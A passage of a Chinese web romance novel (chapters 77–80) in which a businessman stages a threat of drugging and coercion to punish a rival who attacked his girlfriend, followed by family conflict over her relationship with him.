顾程悄声跟柳千寻交代几句,她转头担忧地看了眼姜昊,咬紧唇,终是听话地快步走出了大厅。而姜玉珠看到她的神色,颓然地闭了闭眼,厉声道,“昊昊,她就是你不愿联姻的理由吗?我跟你说过,在你成长的道路上,我会不计后果,扫除一切障碍。你真的想清楚了?”
77. 第 77 章
第七十七章
趁着姜昊闻言怒视姜玉珠的功夫,顾程试探着弓了下腰,姜昊立刻警觉地又把人死命往怀里摁,几乎要把她细弱的腰按碎,看起来竟是丝毫不顾她的死活。顾程蹙眉直起身子,深吸一口气反向走去了吧台。
姜昊依旧警觉地瞪着他。
顾程松了松领口和袖口,动作慢条斯理,取冰块,加烈酒,低沉的眉目间风雨欲来,却并没有任何开口的打算。
姜玉珠见状深吸一口气,提裙蹲身在姜昊面前,缓了语气劝他,“昊昊,这是在香港,姑姑能力有限。你听话,先把顾总的人放开,接下来什么都好商量。”
“是我的人。”姜昊撩起眼皮,恢复了平素的痞痞笑意,“她是我的,一直都只想做我女朋友,要嫁给我,为我生一群可爱的小孩子,还说会为了我终身不嫁。姑姑,我没想到连她都会背叛我。你们是这样,她不是的。不管我多过分,她都会在身边守着我,对我好。可现在你看,连她都背叛我了。我的人生,可真是个笑话,全都是谎言和背叛,呵……”
他说话已有些语无伦次,显然受的刺激太大,惊天的秘密就要瞒不住。
姜玉珠不敢再跟他多说,起身来到顾程面前,接过他递来的酒,尽自平静地说道,“顾总打算怎么处理?昊昊不能有闪失,还望顾总给我一个薄面,不要真的伤了他。”
“肖瑜是我未婚妻,更不能有任何闪失。”顾程淡淡看着姜昊,居然还有心情跟姜玉珠碰了个酒,“看来顾氏跟睿荣八字不合,前有秦舒曼,后有小姜总。姜总,这杯酒,预祝您往后跟别家合作愉快。”
“你我都是明白人,以后还要合作的,别跟他们一般见识。”姜玉珠很干脆地一口闷掉几十度的烈酒,压着嗓子咳了咳,又给顾程添了些,“这次我一定会给昊昊一个教训,也保证他不会再有机会,做出伤害你女朋友的事。”
“哦?”顾程视线未挪,不屑道,“都闹到这个地步了,姜总竟然还想着跟我合作?我顾程何德何能。”
姜玉珠也看着渐渐松下防备的姜昊,苦笑道,“我也没想到居然会闹成这样。若没有这些事情,另寻合作伙伴倒是可能。可如今……”她想起方才顾程对秦舒曼的不留情面,难免对眼前这位未来的顾氏掌舵人心存敬畏,朝他举杯道,“你懂我意思。能力相当的合作伙伴或许有,可我不愿有一个跟你一样的对手,不,敌人。”
顾程没接话,因陈越已经匆匆赶来,身后是医生和柳千寻。他起身跟陈越耳语几句,待他点了头又快步离开,才再度来到姜昊面前,在他两米远处站定,“我不过去。你那么在乎她,应该也不想她真的出事。让医生先给她检查一下。”
戴着金丝边眼镜的医生儒雅温和,他蹲身在姜昊面前,放下挂着的药箱,从口袋里拿出一个听诊器,“先生,别冲动,我先给她听一下心跳。好吗?”
姜昊低头看向怀中怀中面无血色的人儿,咽了咽嗓子,轻轻松开了怀抱。
医生右手拿着听诊器伸向女人的颈下,背后的左手陡然抬起,一个手刀劈在姜昊颈后,他闷哼一声,带着满面怒容倒了下去。
“陈越。”顾程过来抱起肖瑜喊了一声,门口转瞬便有五六个人高马大的安保跟着陈越冲了进来,其中几个架起姜昊开始绑,另有两个拦在姜玉珠面前,沉默地等待下一步指令。
到了此刻,姜玉珠反而十分镇静,她看一眼被人绑起来的姜昊,将视线挪向顾程抱着的女人。
医生大致检查了一下,确认肖瑜受惊过度,缺氧加上头部撞击,才会昏过去。尽管平稳的呼吸足以说明她生命无碍,可脖颈上那一道道指痕,也清晰地证明她刚刚的确走了一遍鬼门关。
顾程的目光在她颈下顿了顿,把她抱进卧室,再出来时,吭都不吭一声,直接一拳砸向了姜昊的脸。
登时有血顺着姜昊的唇角滴落地面,他皱着眉醒了过来,立刻拼命挣扎起来,无奈手臂和双腿被按压捆绑得结结实实,再用力也无济于事。
“你是男人吗?”他啐出一口带血的吐沫,红着眼恨不得用牙咬碎顾程,“是男人就跟我单枪匹马打一架,生死天定!”
“呵。”顾程接过陈越递来的纸巾,擦了擦手,扔地上,凉凉地笑了,“男人?你还能不能继续当男人,得我说了算。”
“顾总。”姜玉珠心头一紧,强撑着扯起一丝笑,“您有什么要求提出来,我一定照办。昊昊是我唯一的继承人,您千万别跟他一般见识。”
“春/药,公海,毒/品。”顾程眯了眯眸,朝医生点了下头,“姜总,您来给他选。”
医生打开了随身的药箱,一支支上满药的针管,在灯光下泛出冷厉的银光。
姜玉珠眸色也冷了下来,“顾总,为了个女人而已,你一定要撕破脸吗?如果昊昊出了事,就算倾尽所有,我也会让肖瑜来赎罪。”
“啧,威胁我?”顾程轻嗤一声朝她抬了下手,姜玉珠身侧的两个安保立刻上前把她双臂扭在身后,犯人一样摁低了头。
华服裹身的中年美妇登时狼狈不堪,她使劲儿翘着头,不可置信地瞪着他怒道,“顾程!你连我都敢……”
“姑姑!”姜昊也不料顾程居然会这样对待姜玉珠,他越发激烈地挣扎着,困兽般压抑地嘶吼,“顾程!你王八蛋,欺负女人你还算个男人吗!你冲我来!别碰我姑姑!”
“你欺负肖瑜的时候,就没想过她也是女人吗?”顾程轻蔑地看他一眼,伸手拍了拍陈越的肩,笑了,“这姑侄情深真让人感动。你做过导演,你来说说。有没有什么办法,能让这个小帅哥一炮而红?顺带着,直接把睿荣从姜总手上给作没了?”
“限制级短视频的啦。”陈越会意地点着头,暧昧的目光在姜昊和姜玉珠的脸上跳来跳去,看得两个人都恨不得拿目光碎了他,“姑侄,男大,美少.妇,都是噱头。厉害啦,说得我都想亲自掌镜啦……”
“你住口!”猥琐的言语,让姜玉珠气得浑身发抖。姜昊更是从几个人
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的挟制和捆绑中,挣得摔倒在地,死死看着顾程,“顾程!我要杀了你!”
“就凭你?”顾程居高临下俯视着他,依旧是漫不经心的冷笑,“别说这是在我的地盘,就算是在欧洲,你站稳了吗?长个记性,没学会走,就别急着跑,会跌大跟头。”
他示意医生动手,自己则又去吧台坐下,好整以暇地跟陈越各自饮着酒,在姜昊痛苦的嘶吼中,冷眼看着一只针剂悉数注入姜玉珠的血管。
姜玉珠起初还在拼命挣扎,但到底是曾经历过无数风浪的铁娘子,即便愤怒让她面容扭曲,她也并没有发出一声有失身份的叫喊,只是药效的作用下渐渐低了头,气若游丝地说了句,“求你……放过昊昊……”
姜昊目眦欲裂,亲眼看着姑姑在自己眼前倒下,看着她昔日严厉干练的神色被软弱与痛苦取代,他的吼声变成了呜咽,眼角也流下了屈辱愧疚的泪。
“第一针只是镇静剂。”医生又拿起一只针管,镜片后的双目泛着邪气,“这一针才厉害,估计在场的都得轮一遍,姜总才能彻底解了药性。”
“混蛋!”姜昊醒过神来,因着针尖离姜玉珠的身体越来越近,他大吼一声,再度疯狂挣扎起来,“你敢!顾程!你敢!”
“你看我像不敢的样子吗?”顾程唇角弯起,放下酒杯挑了眉,“出海夜游搞乱/伦,玩得太刺激溺水而亡。说破天也是你们姜家自己的丑事,与我何干。”
“你放过我姑姑,我求求你!”针尖抵上了姜玉珠光洁的皮肤,姜昊再也承受不住,彻底崩溃,猩红的双目瞪着顾程,嗓音如同沙砾磨过般嘶哑,“求求你,你杀了我,别侮辱我姑姑!顾程,你杀了我……”
顾程摆了下手,只扎入尖头的针管拔了出来。
他双指捏起酒杯,晃了晃,“这么有孝心,愿意替你姑姑挨一针吗?”
姜昊依旧瞪着他,沉重的鼻息如同肩上压了万重山,如果目光可以杀人,对面的男人早已被千刀万剐无数遍。
顾程低笑一声,“我可真是个好人。本想阉了你的,没想到最后还要送你一个暖床的。”他说着,朝医生抬了抬下巴,“让他尽孝。”
冰冷的针尖刺入皮肤,随之而来是彻底的绝望与入骨的恨意。姜昊攥紧了十指,充血的双目一寸不挪瞪着顾程,“放了我姑姑。”
“放心,我一向言而有信。”顾程终于再度起了身,招手让柳千寻来到身边,淡淡问道,“刚才,小姜总没碰你是不是?”
柳千寻早已面无血色,闻言看了眼根本无反抗之力的姜昊,点头嗫嚅道,“是。”
顾程没再理她,朝几个安保挥挥手,“送小姜总上楼。”
“放了我姑姑!”姜昊被人架起,尽管面色因为药效渐渐泛红,仍拼了命地挣扎着去看躺在地上的姜玉珠,“顾程,放了我姑姑!”
可顾程连个眼神都没给他,直待他彻底消失在二楼转角,他才起身走到姜玉珠身边,扶她起身,叹了口气,“姜总,得罪了。”
78. 第 78 章
第七十八章
柳千寻惊讶地看着起身理了理头发的姜玉珠,再看向二楼时,不忍地闭上了眼睛。
“干净吗?”听到声音,她心神一凛复又睁开双眸。只见姜玉珠冷冷打量着她,蹙眉道,“记得安全措施,别让他染了病。”
“全面体检过,保证没问题。”陈越过来拍拍柳千寻的肩头,也朝姜玉珠拱手道,“姜总见谅,我这边剧本看多了,自由发挥地没有边,您别往心里去呀。”
姜玉珠横了他一眼,复又看向顾程,“你女朋友的事情,我很抱歉。以后我一定看牢昊昊,不让他有机会再……”
“姜总,今天这么轻易放过姜昊,是因为你我对脾气,我很欣赏你。”顾程眯了下眸,淡淡打断她道,“我素来做事留一线,但也有例外。再有下次,就只能假戏真做了。”
姜玉珠的脸色有些难堪,不过很快便挂上了平素的淡漠笑意,“不会有下次。今天的教训足以让他看得清形势,他只能接受联姻。”
“我也正想跟你提一提这件事。”顾程淡笑一声道,“毕业典礼前,如果还不能顺利联姻,我们就只能是敌对关系。我这算是,提前打过招呼了吧?”
“当然。”姜玉珠点了点头,下意识看向柳千寻,凝了眉,“不该说的话不要说。”
“是。”柳千寻匆忙低下头,很乖巧地应道,“我什么都没听到,也没看到。”
“懂事。明天记得让人给她备药,别误了前程。”顾程也看了看柳千寻,交代完陈越,让他带了姜玉珠去休息,这才留下医生在吧台兀自喝酒,转身把柳千寻带进了卧室。
床上的人还没有转醒,时不时十指攥一下,难受得蹙眉,说着含糊的呓语。
顾程俯身凑过去听了会儿,继而拿起床头的面具,递给了一侧的柳千寻。
*
少男少女的梦,青涩,纯真。
是什么时候开始,她看向他时,明媚的笑意里多了些炽热的情愫。或许是那日自己因她在场欢呼喝彩,超常发挥获得全场MVP,也或许只是日复一日轻松快乐的相伴,悄然积累。他是那么喜欢她,亲眼看着她跟自己一起成长,渐渐美丽盛开。每一次的靠近,连呼吸都会紧张,鼻尖冒汗。
高考结束,他准备了鲜花和礼物,约她在篮球场见面。少年心事用最工整的笔迹印在纸上,期待着两个人共同迎来全新的人生里程碑。
可临出门前,姑姑一通越洋电话,通知了姑父的亡讯,他不得不匆匆跟父母一起赶往北国。再见面,一切都已天翻地覆。
十八年的亲情,原来竟是生而不养。充满欢声笑语的童年,原来都是谎言搭建的。他不愿遵从决定去北国留学,他们所说的让步,就是改了他的志愿,让他远离情难割舍的舟城。
所幸,他的小鱼儿一直都没有放弃过他。素来养尊处优万千宠爱于一身的小公主,一边舍不得离开深爱她的家人,一边舍不得他,哭到眼睛都肿了好几天,最终仍是坚持跟他一起前往泽城。
一同去往大学的路上,他看着她脸上的面具,有些疑惑。
“你怎么了?”他伸手抚着她的脸颊,因那眼中的怜悯,万箭穿心般喘不过气,“你知道了?我……小鱼儿,我该怎么办?我舍不得你,我舍不得……可是,我能怎么办?”
水雾弥漫,遮了眼。她心疼地朝他张开怀抱,他抱住她,哭得像个被人遗弃在冰天雪地的孩子,“可那是我妈妈……小鱼儿,我恨她,可又没办法,那是我妈妈啊……姑姑!”
“你姑姑没事了,顾总已经送她去休息了。”面具下的双眸温柔地看着他,轻轻哄,“姜昊,她没事,只是镇静剂而已,我亲眼看到她被送去休息了,真的没事了。没事了姜昊……”
“那你呢?”他在昏暗的夜灯下,拿指尖轻轻摩挲着她的脖子,下撇的唇角委屈又愧疚,“你那么怕疼,磕破了膝盖都会哭,我却……对不起。”
“已经好了,不疼的。”她扬起脖子,伸手解开黑色衬衣领下的扣子,露出女性柔软的曲线,执起他的手,放在脖颈,带着他滑向温暖的心窝,“爱我吧,好好爱我,别让自己为难。”
欲念山崩地裂般盈满身心,姜昊的呼吸变得急促又压抑,他不能清醒地思考,却本能地推开她,痛苦地抱住了头,“不可以,你会恨我的。小鱼儿,我走了你要怎么办?会哭,会想我,你会恨我的……”
她不再说话,也不再强迫他爱抚自己,只是用那双莹润的大眼睛怜悯地望着他,把他轻轻推倒,一点一点,坐了上去。
被爱包围的那一刻,姜昊抬头望向面具下的双眸。甜与痛交织的回忆在眼前呼啸而过,他翻身把她紧紧拥在怀中,再不想去思考去犹豫,遵从了本能,热切地吻住她,疯狂去爱,抵死缠绵。
原来彻底拥有彼此的一瞬间,会让所有的犹豫和心疼,变成不顾一切的索取和满足。原来爱,真的需要彻底占有才能成全。
他早该如此,早该如此的。
*
“姜昊!”肖瑜尖叫一声从噩梦中醒来,浑身冷汗,湿得像是刚淋过一场雨。
小夜灯下,身侧的男人眸色如墨,静静看着她失焦的双眸渐渐恢复清明。她神色几度变幻,最终欲言又止地看了看他,轻轻靠过来,把头埋进了他的胸膛。
他松了口气,指尖拨开她被冷汗浸湿的额间碎发,“医生就在外边,还有哪里不舒服吗?”
片刻前几乎窒息的恐惧,还是让肖瑜心有余悸。她甚至有点分不清,那究竟只是一个噩梦,还是刚才真的见到了曾朝思暮想的那个人,却差点被他亲手掐死。
她艰涩地咽了下嗓子,抬起头,不确定地问道,“住在这里的客人,是……是不是叫姜昊?”
“就是他。”顾程的神色很平静,目光一错不错地看着她,“你曾经喜欢过的那个人。”
肖瑜的瞳孔肉眼可见地缩了缩。
他没有给她消化这句话的机会,继续道,“刚才,他是真的想让你死。”
“他还在这里吗?”她顾
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不上去问,顾程是怎么知道他就是自己曾经喜欢的那个人。可昏厥前姜昊悲伤愤怒的低吼,一瞬间清晰起来,在她脑海里一个字一个字猛烈撞击,撞得她心神俱恸。她坐起来,甚至都没意识到自己只穿着内衣,焦急地下地去穿鞋子,“他还在这里对吗?我要见他,我有话要问他。顾程,我有话要问他。”
“去洗澡。”顾程起身站去她的面前,缓缓扳过她细弱的双肩,“你现在看起来很狼狈,不能见人。先去洗澡。”
肖瑜回过神来,仰头默默地看着他,好半天,才扯出一个比哭还难过的笑,“好。”
*
洗过澡吹干长发,激烈的情绪已经趋于平静。再出来时,顾程靠在床头,手边是一个迷你的平板,屏幕暗着。
肖瑜裹着浴巾看了他一眼,没有再要求去见姜昊,而是乖乖爬上了床,坐在他的身侧。
顾程倒是掀开毯子起了身,去衣帽间挑了件衬衣拿过来,递给她,“我本来没打算让你夜间会客。这里没有准备你的衣服,明天早上才会有人送过来。”
肖瑜接过来慢吞吞穿着衣服,直待颈下只剩两颗扣子,她才停下手,拉起毯子盖住了腰腿,“对不起,事情太突然,我刚才有些激动。”
她这么说,就是不打算现在去了。
顾程把枕边的平板放去床头柜,也靠着她躺了下来,关上夜灯。
他没有主动去抱她,她也没有往他胸前靠。两个人手臂和肩膀挨在一起,却都没有说话,也没有更进一步的亲密。而不是像昨晚那样,即便睡梦中都紧紧拥抱着,密不可分。
窗外夜色深重,推拉门外是大片的草坪,延伸向海面的方向。周边有细高细高的路灯,投映出微弱的光亮。
良久之后,屋内的呼吸声逐渐变得平稳绵长。顾程待枕边人小心翼翼起身下了地,才缓缓睁开眼眸,夜幕中微凉的目光,紧随她脚步虚浮的背影。
更深露重,室外的温度很低。她光着脚只穿了一件单薄的衬衣,似乎怕发出声响,蹑手蹑脚拉开门,又关上。若不是他还醒着,几乎听不到任何动静。
他看到她站在草坪上,仰起头,怔怔望着二楼的阳台。像个被封存在极地的冰雕,静静地站在那里,一动不动。
*
隔日晨曦未至,私人飞机便接走了高热中的肖瑜。
这一病,昏沉沉过去了两天两夜。冷热交袭,两个男人或温柔或愤怒的面孔和听不仔细的言语,针一样密密刺在脑中,让她连在昏睡中都呓语不断,眉心紧蹙。
意识终于彻底清醒的时候,眼前是穆青华苍白的脸颊。肖瑜哑着嗓子喊了句‘妈妈’,在她的扶持下,轻轻坐了起来。
“乖宝,你要把妈妈吓死吗。”穆青华把女儿搂在怀里,朝门外喊了声‘陈嫂’,心疼地摸了摸她的额头,“先起来喝点粥。头还疼吗?”
“妈妈,我怎么回家了?”肖瑜茫然地看看四周,握住穆青华胳膊的手紧了紧,“我……妈妈,和我一起回来的是谁?”
79. 第 79 章
第七十九章
“是顾程送你回来的。”穆青华垂眸看向她已没了痕迹的脖颈,想起宝贝女儿被顾程抱回来的时候,浑身滚烫,颈有掐痕那恐怖的样子,还是忍不住气得发抖,“昊昊实在是太过分了。是他自己选择了这条路,怎么能把气都撒到你身上?乖宝,以后不许你再想着他了。”
“您都知道了?”肖瑜原本就没什么血色的脸颊,越发苍白,她撇着嘴看向母亲,眼睛里又蓄了泪,“妈妈,我好像错过了什么,他好像说,他是想跟我在一起的。可我不明白,有什么是必须放弃我才可以的?他去北国,我也可以跟过去的,留学,工作,什么都可以,他明明知道我可以为他做到的,为什么必须放弃我呢?”
这也是她那晚想要去问姜昊的话。曾经,他就是她世界的中心,为了他哪里都可以为家,什么都可以抛在身后。他离开后,她以为自己终于清醒认识到,那只是她的一厢情愿。于是她开始了新的恋情,享受两情相悦的快乐。可他突然出现,就像捉奸一样想要治她于死地,痛苦地说,要跟她在一起。
如果不爱,不会这么愤怒。可如果爱,又为什么必须放弃。所以其实她对他来说,到底是什么样的存在。
她已经有了顾程,不可以背叛,这是对一段正式关系的责任。可她需要一个答案,给自己那么多年来的感情一个真正的交代。
她期待又痛苦地看着母亲,穆青华却因她的话神色凝重。
陈嫂热好了粥送进来,穆青华接过粥示意她掩上门,这才转身一边喂女儿吃着,一边慢慢地说,“乖宝,以前看着你们俩两小无猜,在一起玩得开心,他对你照顾有加,你也打心里喜欢他,妈妈是很赞同你们两个在一起的。我甚至想,就算不成了,继续维持你们的情分也是好的……”
她跟肖瑜说了很多她以前都不知道的事情。比如,姜昊离开前最后见她那夜。
大雨磅礴,肖瑜心神俱裂昏睡不醒,姜昊就站在楼下,淋着雨望着她的窗,谁劝都不走。连肖帅给他撑伞,都被他推开,惩罚性地任自己被雨水浇灌,似乎想要跟她殉情般决绝。
得知她转醒,他哭着笑了,步履沉重地回了家。没有人知道那一晚他都思考了些什么,第二日,是姜昊主动要求肖帅陪他一起回了泽城,交代平素的好友多多照顾肖瑜。
他跟肖帅喝醉的那夜,两个人也聊了很多很多。讲他多喜欢肖瑜,多想娶她,多想一辈子跟她在一起,却又因为家里的因素,怕最终还是会伤了肖瑜的心,所以他只想在离开前好好陪她。可跟她在一起太开心,又怕他走后,肖瑜反而会痛不欲生,不顾一切地去找他。
他有太多的苦衷,眼下连自己的自由都是奢望,哪里能给肖瑜一个承诺,许一个未来。他跟她在一起,太近了会担心,太远了又伤心。那种感情如冰火交错,一时天堂,一时地狱,热烈却又悲哀。
一字一句,都在印证她的感觉。
原来自己从来都不是自作多情,原来自始至终,她的喜欢都是双向的。只不过,他终是选择放弃了她。
“乖宝。”穆青华放下碗筷,将浑身颤抖的女儿拥进怀里,曼声道,“如果你想要一个答案,妈妈可以告诉你。姜昊很喜欢你,他亲口跟你哥哥说,他只喜欢过你这一个女孩子。”
“妈妈……”肖瑜终于忍不住又哭了出来,压抑的嗓音里尽是悲恸,“妈妈,我好难过。但凡他跟我说过一次,我都不会放弃他的,妈妈!”
可穆青华并没有安慰她,而是扶起她的双肩,凝视着她,郑重地说道,“乖宝,妈妈告诉你这些,是想让你知道,你曾经付出的感情是有回应的。但是,他喜不喜欢你已经不重要了,重要的是,他有放弃你的理由,也这么做了。那这样的放弃,就不会只有一次。”
肖瑜泪眼模糊地看着她,便见穆青华复又轻声道,“人生的路上,总是有这样那样的交叉路口,考验人性,考验感情。如果有必须放弃你的理由,在面临更为艰难的选择时,你依然会是被最先放弃的那个人。乖宝,我跟你爸这一辈子,曾经面临过很多挫折,可不管再难再苦,都没有放弃过对方。
“以前妈妈总是想着,不管你喜欢谁,只要你喜欢,你乐意,爸妈都不会插手。可现在……我知道昊昊也很难,可我们更在意的是你。你提起他只有眼泪,喜欢他的结果是遍体鳞伤,这一次,居然还差点……乖宝,妈妈心疼啊。”
“我也只是想要一个答案。”肖瑜伸手抹去母亲眼角因心疼而生的泪。那些困扰了自己许久的朦胧情感,在得知答案后释然,她带着泪水弯了唇角,缓缓靠去母亲的胸膛,“妈妈,以后我不会再为他哭了……您说的是对的,不管他是因为什么原因放弃了我,我都是他最容易舍弃的。这不是我所期待的爱情,也不是我所向往的婚姻。”
“你能明白就好。”穆青华安慰地轻抚着她的胳膊,母女俩许久的沉默过后,她才有些探究地悄声问道,“顾程……他看起来很紧张你的样子。乖宝,你跟那个小简还谈着吗?怎么两天都没联系了,也没见他给你打个电话呢?”
“我们……”肖瑜都快忘了还有简承贤这么个人,想了半天,才未置可否地问道,“妈妈,顾总回泽城了吗?他没跟你们说什么吗?”
他说回来就要订婚,可看妈妈的反应,他似乎并没有跟父母提过两个人正在恋爱的事情,更别说商量婚事了。
肖瑜想起那夜自己冲动地要去见姜昊,顾程反应很平静,可如今细细想想,他该是生了气。虽不知道他如何得知姜昊跟自己的关系,但那种情况下,她确实完全没考虑过他的感受,也不怪他会有脾气。
“他只说带你出差的时候,遇到了昊昊。因为知道你交了男朋友,昊昊才会理智尽失,一怒之下差点掐死你。”穆青华叹了口气,摇摇头,“顾程还在舟城,这两天正跟你爸忙他们的事,不过每天都会过来看看你再回酒店。”她拿起手机看了一眼,又道,“时间也差不多了,估计你爸跟他快回来了。乖宝,你把药喝了再躺会儿,等休息好了,妈妈想跟你聊聊小简的事,我不是很看好。”
“妈妈,我没事了,简承贤的事情,我也想跟你说说。”肖瑜拉住她的手,想了想,“我……”
她的犹豫只有一瞬,坦白道,“妈妈,我真正的男朋友,是顾程。”
*
得知肖瑜已经无碍,肖远舟和顾程眉目间都轻松了不少,更是十分有默契地直接走向了二楼,可穆青华却伸出手,把肖远舟给拦了下来,“老公,你过来一下,我有点事问你。”
顾程的脚步顿了一下,很客气地回头跟他两人点点头,轻车熟路上了楼。
“怎么了?”肖远舟被妻子拉去了沙发,很不解地问道,“什么事比我见乖宝还重要?她刚醒,肯定很想跟我撒撒娇。”
“乖宝都有男朋友了,撒娇也是跟人家
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男朋友撒娇。”穆青华好笑地嗔他一眼,探头看向楼梯,“你这个上辈子的情人啊,该退场了。”
“男朋友?”肖远舟还没意识到她这话的含义,蹙眉道,“那个小简,这都两天了,也没见给乖宝打电话问候一下,算什么男朋友,该退场的是他。”
“瞅你酸的。”穆青华捏捏他的胳膊,悄声道,“楼上这两个现在已经真的处朋友了,你闺女喜欢,我瞅着顾程也挺上心的。这女婿我看得顺眼。”
肖远舟好一阵子才反应过来,紧锁了眉头看向二楼,“你说乖宝……跟顾程?”
*
推开房门前,顾程的眉心一直都没松开过。
短短数层台阶,他都在想,当她醒来又为那个男人哭,或者,一见面就要问那个男人在哪儿,他该如何反应。
他一向理智,婚恋对象于他来说,是权衡利弊过后,才会考虑喜欢与否的最优选。所以他完全无法理解那些为爱要死要活的人是怎么想的,直到,那晚看到站在草坪上,被悲伤倾覆的肖瑜。
他是那么骄傲的一个人,却在那一刻,没有尊严地选择了视而不见。
“你还没跟我爸妈提订婚的事吧?”
床畔传来尚有鼻音的问询,仔细听,似乎还有几分掩不住的开心。
顾程眸色越发黯淡下来,慢慢走向她,敛了眉,“所以呢?”
他是还没提,因为心里已经不那么确定她的想法。如果她不再愿意,他并没有把握,视她为心头肉的肖远舟夫妇会轻易答应。可要他就这么放手,绝无可能。
“要抱抱。”她起身,弯了眼眸朝他张开双臂,嘴角是俏皮的笑。
顾程怔了一下,满腹的屈辱和郁气,在那明媚的笑容下,显得可笑极了。
他在床边坐下,尽自掩饰着内心的波动,不仅没去抱她,脸上还跟面瘫般毫无表情,“我还没消气。”
肖瑜显然是有些失落的。她咬了下唇,眸中升起几分忐忑,展开的双臂也有了收回的势。
顾程叹了口气,握起的十指松开来,正打算再一次低头认输,可小姑娘倏地起身往前一扑,也不再管他同不同意,紧紧抱上了他的脖子,“对不起。你别生气了好吗?亲爱的,别生气了。”
她是会撒娇的。软糯糯在他耳边哄,香香甜甜的气息暖得他根本说不出拒绝的话。
他唇角扬起愉悦的弧度,就算还想再端一端,都压不下去。更何况,她那对宝贝还在他胸前蹭着,似乎连内衣都没穿,蹭得他两天都没起过的兴致都要被勾出来。
于是他又端了一秒,终于放弃地反手抱住她,低头吻上了她还有些苍白的唇。
“刚才,我跟妈妈说了我跟你的事……”她被吻得眸色潋滟才被放开,窝在他怀里歇了会儿,仰起头,邀功般得意地说,“原来上次你来家里做客的时候,我妈妈就相中你了。只不过以前他们都以为你心里有人,所以没多想。我刚才跟她说的时候,她可惊讶了。”
“你说了?”顾程眉心跳了跳,下意识看了眼虚掩的房门,连忙把肖瑜抱直,让她规矩地坐在身侧,而不是半躺在自己怀里,压低声音问,“具体说了什么?”
肖瑜奇怪地看他一眼,没骨头似的又要往他怀里靠,“说我跟你好了,说我要对你负责啊。”
顾程扶她一把,干脆站起来跟她拉开距离,咽了下嗓子问,“负责?你要对我负什么责?”
80. 第 80 章
第八十章
他想起诱她共同探索彼此那天,都不知道当时是怎么腆着脸,哄着一个天真的小姑娘,要把自己的童贞送给她。
如今他终于知道心虚是什么感觉,鼻尖冒汗,如坐针毡,有点慌。
“你是我名正言顺的男朋友,我不会再为过去的感情困扰。会对你负责,专心认真地对待我们的感情,心无旁骛。”肖瑜哪里知道他在想什么,见他因自己主动跟父母坦白了关系,不仅没有很开心,反而看起来有些措手不及的慌乱,她心里沉了一下,咬唇道,“你还是介意?你……是不是有了别的打算,不想让我跟家里说?”
顾程松了一口气,“我不是这个意思,只是……”
“顾总,时间不早了。”他话都还没说完,房门已被敲了敲,传来肖远舟低沉的声音,“你也忙了一天,还是早点回酒店休息。”
“别多想,我没别的意思。”顾程弓下腰,快速安抚了一下小姑娘,背还没直起来,肖远舟已经缓步走了进来,眯起的眸子里,神色复杂。
“爸爸。”肖瑜也飞快地看了眼顾程,继而抬头看向父亲,很自然地朝他伸出双手,“要抱抱。”
顾程的眼神顿时也有点复杂。
只见肖远舟目光转向肖瑜时,一改审视自己的凌厉,国字脸上浮起了宠溺的褶子,几步过来就把小姑娘抱进怀里拍拍背,心疼地道,“乖宝,怪爸爸没保护好你。以后出门还是得带上保镖,可不能再有闪失了。”
“不用的爸爸。”肖瑜的脑袋在父亲胸前蹭了蹭,安慰道,“这次是意外,太突然了,我也没想到,居然会在那种情况下遇到姜昊……”
她正说着,忍不住偷偷看了眼顾程,见他的神色依旧有些不悦,她抿了下唇,朝肖远舟露出一个轻松的笑,“爸爸,那您送顾总回去吧,我真的没事了。”
“嗯,早点休息。”
*
说是送他走,肖远舟居然真的什么都没问,也没提,一路从肖瑜的闺房把他送到了大门口,甚至,一个字都没跟他说过。
保姆车已是发动状态。顾程深吸一口气,还是主动开口道,“肖总,我跟肖瑜的事,并非刻意隐瞒。过几天我父母会亲自登门拜会,正式跟您和穆总商议订婚的事。”
肖远舟笑了,伸手朝保姆车做了个‘请’的手势,淡淡应道,“你不一定适合我女儿。顾总先回吧。”
顾程心底一沉,“肖伯父,您不同意?”
“我们家乖宝心思单纯,别人对她一分好,她会回两分,对感情更是全心全意,满腔赤诚,从来不耍花花肠子。”肖远舟目光锐利地凝视着他,缓声道,“意向合作伙伴,你不会不去查探底细。姜昊又是在泽城上的大学,随便了解了解,就知道他身边都有过什么样的人和事。顾程,你安排这么一出,把我女儿置于何地?是要考验她,还是存心折辱她?更何况在你眼皮子底下,她都能差点没了命,我怎么可能放心把她交给你?公事,你要是还有心合作,咱们可以继续谈。这件事,暂时不要再提。”
顾程的脸色青白不定。面对比他老辣数倍的肖远舟,他知道任何解释都是多余,更何况他所说的,本就是事实。
他沉默片刻,垂眸道,“告辞。”
*
“就这么走了?”
穆青华听到丈夫的反馈,难掩失望,“我还以为他会不一样,没想到居然这么轻易就打了退堂鼓。算了,是他没福气,乖宝总能遇到那个把她放在心尖尖上的男人。”
“这小子弯弯肠子多得很,真要是打算放弃了,多少会说几句场面话。”肖远舟喝了口茶,有些无奈地捏着眉骨道,“如今这反应,怕是不会罢休。阿华,他哪儿好?生意场上的确不错,运筹帷幄,步步为营。可现在是在选女婿,就他这样的,把乖宝卖了,闺女还得帮他数钱夸他好。”
“啧。”穆青华佯怒地嗔他一眼,给他捏着肩膀轻笑道,“你说人家的时候,没照照镜子?你不也是这样的?乖宝是得被人宠着疼着护着的,真要是找个跟她一样没什么心眼的,别的不说,再遇到这次这种事,怎么办?”
“说起来我就有气。男人有那么点胜负欲,我能理解。可把人带过去了,他倒是给照顾周全。”肖远舟面色越发沉郁,眉心挤得都能夹死苍蝇,“你瞅瞅乖宝回来的时候,我……”他说着,不免又冷笑道,“起初我还真当是昊昊近来突逢巨变,心性大改。结果,乖宝的男朋友居然是他?让人亲眼见着他俩卿卿我我的,能不受刺激吗?这个顾程,还专门把乖宝直接送回家里来,打的主意就是让你我因为这件事,不可能再接受姜昊。如今,还真是事事都如了他的意。”
“你啊,好歹乖宝现在没事了,你就别跟自己置气了。”穆青华也轻叹一声道,“你的担心不是没道理。不过老公,将来,或许昊昊跟乖宝真的再难有交集。可万一呢?这回的事,我看乖宝像是已经开始放下了,可昊昊还没走出来。情深缘浅,爱而不得。将来再有个什么万一,对闺女又得是一场劫,身边没个手段强硬点的女婿,你就不担心吗?”
肖远舟沉默了下来。素来平静睿智的面孔上,今晚已经接二连三生出忧虑之色。
他想说,只要他在,就一定能护女儿周全,等他走了,肖瑜也还有肖帅护着。可感情的事,他也是过来人,深知妻子的担忧可能会一语成谶。
他思量许久,低眉叹道,“再说吧,我再想想。”
*
肖瑜还不知道父母在楼下这番长谈。她靠在床头点开手机,看到微信里,置顶的老爷车头像旁那个红点时,心里还是有微弱的电流滑过。
【对不起】
姜昊发来那三个字,连标点符号都没有,时间是在她从香港离开的那天。然后,就又没有然后了。
